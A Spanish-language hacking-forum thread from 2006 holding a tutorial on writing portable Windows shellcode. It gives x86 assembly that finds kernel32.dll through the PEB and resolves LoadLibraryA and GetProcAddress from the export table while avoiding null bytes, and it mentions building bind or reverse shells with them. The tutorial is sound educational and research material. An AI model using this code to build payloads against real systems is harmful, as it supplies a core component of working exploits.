elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
22 Marzo 2010, 01:34  


Temas destacados: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: Anon, berz3k)
| | |-+  Creando SHELLCODES Exportables / MultiPlataforma / Universales
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Creando SHELLCODES Exportables / MultiPlataforma / Universales  (Leído 5130 veces)
sirdarckcat
Absolutamente no es (por ningun motivo):
CoAdmin
*****
Conectado Conectado

Mensajes: 6.391


xDDD


Ver Perfil WWW
Creando SHELLCODES Exportables / MultiPlataforma / Universales
« en: 05 Julio 2006, 06:15 »

Creando SHELLCODES Exportables / MultiPlataforma / Universales
Por SirDarckCat

Paso 1: Obtener ImageBase de Kernel32.dll
Paso 2: Obtener el directorio de funciones exportadas
Paso 3: Buscar la funcion deseada. (LoadLibraryA, GetProcAddress, etc..)
Paso 4: Guardar las funciones..
Paso 5: ShellCodear xD

Para obtener el ImageBase de Kernel32.dll hay multiples maneras, una seria obtener
la direccion de la base de la pila, pero esta en peligro de ser sobreescrita en caso
de un overflow.. asi que podriamos usar la SEH, etc.. una manera seria usar el PEB
el cual se encuentra en fs:[30],
miren:
Código:
typedef struct _PEB
{
 ULONG               AllocationSize; // 00h 
 ULONG               Unknown1; // 04h
 HINSTANCE           ProcessHinstance; // 08h -> ahi aparece la
                                       // direccion base del
                                       // ejecutable
 PVOID               ListDlls; // 0ch direccion bastante interesante
                                   // que buscamos!!
 PPROCESS_PARAMETERS ProcessParameters;
 ULONG               Unknown2;
 HANDLE              Heap;
} PEB, *PPEB;

Aqui vemos la estructura de la PEB.. entonces, una ves que tenemos la direccion de PEB, le sumamos 0c para
Obtener el listado de DLL's

Este, ListDLLs, tiene esta estructura:

Código:
typedef struct _MODULELISTHEADER
{
 ULONG             HeaderSize;   // 00h
 ULONG             Unknown[2];   // 04h
 MODULELISTLINKS   LoadOrder;    // 0ch
 MODULELISTLINKS   MemOrder;     // 10h
 MODULELISTLINKS   InitOrder;    // 14h
} MODULELISTHEADER, *PMODULELISTHEADER;

Por motivos, de facilidad, usaremos el LoadOrder.. cuyo offset es 0c

el codigo quedaria algo asi (aunque no es realmente asi xD)

DLLs en orden de carga = [[fs:[30]+0c]+0c]

Despues para navegar en la lista, es algo asi:

Código:
typedef struct _MODULELISTLINKS
{
 PMODULEITEM Next;
 PMODULEITEM Prev;
} MODULELISTLINKS, *PMODULELISTLINKS;
Bastante sencillo de entender no?

Código:
typedef struct _MODULEITEM             // offset
{
 MODULELISTLINKS LoadOrder;              // 0x00
 MODULELISTLINKS MemOrder;               // 0x08
 MODULELISTLINKS InitOrder;              // 0x10
 ULONG ImageBase;                        // 0x18
 ULONG EntryPoint;                       // 0x1C
 ULONG ImageSize;                        // 0x20
 UNICODE_STRING PathFileName;            // 0x24
 UNICODE_STRING FileName;                // 0x2C
 ULONG ModuleFlags;                      // 0x34
 SHORT LoadCount;                        // 0x38
 WORD Fill;                              // 0x3A
 ULONG Unknown1;                         // 0x3C
 ULONG Unknown2;                         // 0x40
 ULONG TimeDateStamp;                    // 0x44
} MODULEITEM, *PMODULEITEM;              // 0x48 bytes
Y aqui tenemos, la imagebase en 18 y el nombre del DLL en 2c

Este codigo obtiene kernel32.dll:
Citar
    xor eax,eax                // eax = 0
    add eax, fs:[eax+30h]      // Voy al PEB
    mov eax, [eax+0ch]         // Ahora al puntero ListDLLs
                               // Ahora Voy al listado por orden de carga
    mov eax, [eax+0ch]         // Y cargo en EAX la primera direccion
    ldll:                      // ----- ldll -----
    mov ebx, eax               // . En EBX cargo la siguiente direccion
                               // . Voy a donde esta el nombre de la DLL..
    mov edx, [eax+30h]         // . guardo en EDX la posicion de la primera letra
    xor ecx, ecx               // . ecx = 0 - para no usar 0x00
    xor eax, eax               // . eax = 0 - plantilla del checksum
    zm:                        // . ------ zm ------
    cmp cl, byte ptr ds:[edx]   // . . comparo EDX con 0
    je finc                     // . . si son iguales termino la comparacion..
    xor al, byte ptr ds:[edx]   // . . meto en EAX el checksum actual..
    add edx, 2                  // . . sumo 2 a EDX, porque es UNICODE
    jmp zm                      // . . voy a zm
    finc:                       // ----- finc -----
    cmp al, 50h                 // . 50 = checksum de KERNEL32.dll/kernel32.dll
    je yek                      // . si es igual ve a yek
    mov eax, [ebx]            // . EAX es el valor del proximo DLL
    jmp ldll                  // . y voy a ldll
    yek:                      // ----- yek -----
                              // . en EBX tengo la estructura, solo sumo 18
    mov eax, [ebx+18h]        // . y tenemos en EAX la direccion de entrada
   
Ese código hace un checksum de las DLL cargadas en memoria, y busca por el chescksum de kernel32.dll
una ves que lo encontro, pone en eax la direccion de este.

Para obtener el checksum en decimal de una cadena, pon esto en la barra de direcciones de tu navegador:
Código:
javascript:f=prompt("Funcion:","");m=0;for (i=0;i<f.length;i++)m=m^f.charCodeAt(i);alert(m);

En fin, este codigo es bastante grande.. pero explica la forma tradicional de buscar el imagebase de
kernel32.dll

En forma resumida..

1.- Va al PEB que se encuentra en fs:[30].
2.- De ahi, va a la estructura ListDLLs
3.- Y al arreglo de orden por carga
4.- Va al nombre..
5.- Hace un CheckSum
6.- Lo compara con el de Kernel32.DLL
7.- Si es igual guarda la direccion

este otro codigo de solo 14 bytes obtiene tambien la direccion de imagebase de kernel32.dll, con un metodo
muy similar.. y muchisimo mas pequeño.. es preferible que usen este, y que entiendan el primero.

Código:
xor  eax, eax
add  eax, fs:[eax+30h]
mov  eax, [eax + 0ch]
mov  esi, [eax + 1ch]
lodsd
mov  eax, [eax + 08h]

Bueno, una ves que obtuvimos la direccion, debemos ir a la tabla de funciones exportables.. cuya direccion esta
en la primera casilla del "data directory" del "optional header"..

algo asi:
Código:
OptionalHeader->DataDirectory[0]->VirtualAddress;

Una completa especificacion de la estructura del ImageBase esta anexa en el documento pecoff_v8.doc y en la web:

http://www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx

Como vemos en la pagina 16 del documento, esta es la estructura del DataDirectory:

Código:
typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

A nosotros nos interesa solamente la direccion de la tabla de funciones exportables, es decir la "IMAGE_EXPORT_DIRECTORY"
pagina 52.
Código:
typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD Characteristics
    DWORD TimeDateStamp
    int MajorVersion
    int MinorVersion
    DWORD lpName
    DWORD Base
    DWORD NumberOfFunctions
    DWORD NumberOfNames
    DWORD lpAddressOfFunctions // OFFSET = 0x1c
    DWORD lpAddressOfNames // OFFSET = 0x20
    DWORD lpAddressOfNameOrdinals // OFFSET = 0x24
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

en fin, lo que debemos de hacer entonces es, obtener el offset del OptionalHeader.. una ves que tenemos el offset de kernel32.dll
en eax..

Esto es para obtener las funciones de las librerias, para eso, usariamos LoadLibraryA y GetProcAddress, pero como no tenemos
los offsets de esas funciones, debemos obtenerlas primero...
Citar

   mov ebp, eax         // Guardo el punto de entrada en EBP
   mov eax, [ebp+3ch]      // Puntero a PE, aqui debe haber [ASCII "PE"]
                     // En el offset 78h esta el EXPORT_TABLE
   mov eax, [eax+ebp+78h]   // Y guardamos el puntero en EAX
   add eax, ebp         // Como es direccion relativa...
   mov ecx, eax         // Guardo el offset de la tabla en ECX
   mov eax, [eax+20h]      // Aqui estamos obteniendo el offset de los nombres
   add eax, ebp         // Como es direccion relativa...
                     // Hasta aqui, tenemos:
                     //   EAX = Tabla de nombres de funciones del DLL
                     //   EBP = Direccion base de Kernel32.DLL
                     //   ECX = Direccion de la export table
                     // En donde estamos, ya tenemos control sobre los nombres
                     // de las funciones, solo tenemos que buscar el deseado.
                     // Podemos usar un metodo similar al que usamos en el primer
                     // metodo para obtener la direccion de kernel32.dll, es decir
                     // hacer un hash del nombre de la funcion deseada..
                     // En este caso, solo cargaremos LoadLibraryA y GetProcAddress
                     // Ya que con estas, puedes llamar a cualquier otra funcion..
                     // ademas de que en este documento tenemos como objetivo mostrar
                     // como hacer una shellcode exportable, no pequeña, el tamaño, se
                     // vera en otra ocasion..
                     // El checksum de GetProcAddress es: 2e
   mov ebx, eax         // Hago compatible con shellcode
   mov dl, 2eh            // Colo el checksum de la primera funcion
   :sfunc               // ----- sfunc -----
   xor edi, edi         // EDI sera el contador
   :finhsh               // ----- finhsh -----
   inc edi               // EDI++
   mov esi, [ebx+edi*4]   // Pongo en ESI el offset de la palabra en EDI
   add esi, ebp         // Hago el offset Absoluto
   :lolhsh               // ----- lolhsh -----
   lodsb               // Meto en AL la letra
   xor dl, al            // Hago AL XOR DL
   xor al, 71h            // Hago AL XOR 71, para evitar bytes 0x00
   cmp al, 71h            // Confirmo que no sea 0x00^0x71
   jne lolhsh            // Si no es, voy por la siguiente letra
   xor dl, 71h            // Hago DL XOR 71, para evitar bytes 0x00
   cmp dl, 71h            // Confirmo que no sea 0x00^0x71
   jne finhsh            // Si es, encontre la funcion
   mov ebx, [ecx+24h]      // Muevo a EBX, la tabla de los ordinales de la funcion
   add ebx, ebp         // Hago la direccion absoluta
   mov di, [ebx+2*edi]      // DI = numero ordinal de la funcion
   mov ebx, [ecx+1ch]      // EBX = Offset relativo de la tabla de direcciones de funcion
   add ebx, ebp         // Hago la direccion absoluta
   cmp dl, 2eh            // Primera o segunda ves..
   jne fin               // Si es la segunda.. acabamos, si es la primera..
   mov esp, [ebx+4*edi]   // Meto en ESP la direccion de la funcion
   add esp, ebp         // Hago la direccion absoluta, ESP = GetProcAddress
   mov dl, 38h            // El checksum de LoadLibraryA es: 38
   jmp sfunc            // Y buscamos la nueva funcion
   :fin
   mov esp, [ebx+4*edi]   // Meto en EAX la direccion de la funcion
   add eax, ebp         // Hago la direccion absoluta, ESP = GetProcAddress
   
   // Listo, ESP = GetProcAddress y EAX = LoadLibraryA
   

En fin.. una ves con esto, podemos llamar cualquier otra funcion, en cualquier DLL, e incluso hacer un bindshell, reverse shell, etc..
usando las funciones GetProcAddress y LoadLibraryA

Espero hayan entendido el concepto, mas informacion en los documentos anexos y las siguientes paginas web:

http://www.undercon.org/archivo/0x06/UC0x06-Win32Shellcodes.txt
http://www.codeproject.com/system/inject2exe.asp

Es todo.

Saludos!!

Publicado Originalmente en elhacker.net:
http://foro.elhacker.net/index.php/topic,130073.0.html


(c) SirDarckCat(elhacker.net) 2005
Autorizo la reproducción total o parcial de este documento bajo la licencia de documentación libre de GNU (GFDL), una copia puede ser encontrada en http://www.gnu.org/licenses/fdl.txt
« Última modificación: 09 Julio 2006, 08:47 por Sdc » En línea

Override

Desconectado Desconectado

Mensajes: 240



Ver Perfil WWW
Re: Creando SHELLCODES Exportables / MultiPlataforma / Universales
« Respuesta #1 en: 09 Julio 2006, 14:02 »

Mis respetos SDC.
muy buen tutorial, lástima que lo veo hasta ahorita, me hubiese servido hace unos meses... Jeje.
Con eso de que la información que uno se encuentra a la hora de aplicarla está erronea para evitar scriptkiddies ;)


un saludo.
En línea

sirdarckcat
Absolutamente no es (por ningun motivo):
CoAdmin
*****
Conectado Conectado

Mensajes: 6.391


xDDD


Ver Perfil WWW
Re: Creando SHELLCODES Exportables / MultiPlataforma / Universales
« Respuesta #2 en: 10 Julio 2006, 01:11 »

Esta no esta erronea ¬¬ digo, de todas formas como dices, script kiddies no se preocupan por crear sus shellcodes, buscan shellcodes ya hechos.. pero el codigo aqui presente asi como la estructura de la memoria es la correcta.

Saludos!!
En línea

Override

Desconectado Desconectado

Mensajes: 240



Ver Perfil WWW
Re: Creando SHELLCODES Exportables / MultiPlataforma / Universales
« Respuesta #3 en: 10 Julio 2006, 19:25 »

Esta no esta erronea ¬¬ digo, de todas formas como dices, script kiddies no se preocupan por crear sus shellcodes, buscan shellcodes ya hechos.. pero el codigo aqui presente asi como la estructura de la memoria es la correcta.

Saludos!!

Yo no me referí a tu tutorial, fue una indirecta hacia un tutorial de Wintermute :).
En línea

Páginas: [1] Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

Yashira.org    Videojuegos    indetectables.net    Seguridad Informatica Colombia    Indejuegos    Internet móvil

Noticias Informatica    Seguridad Informática    ADSL    eNYe Sec    Seguridad Wireless    Underground México    Biblioteca de Seguridad

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.11 | SMF © 2006-2008, Simple Machines LLC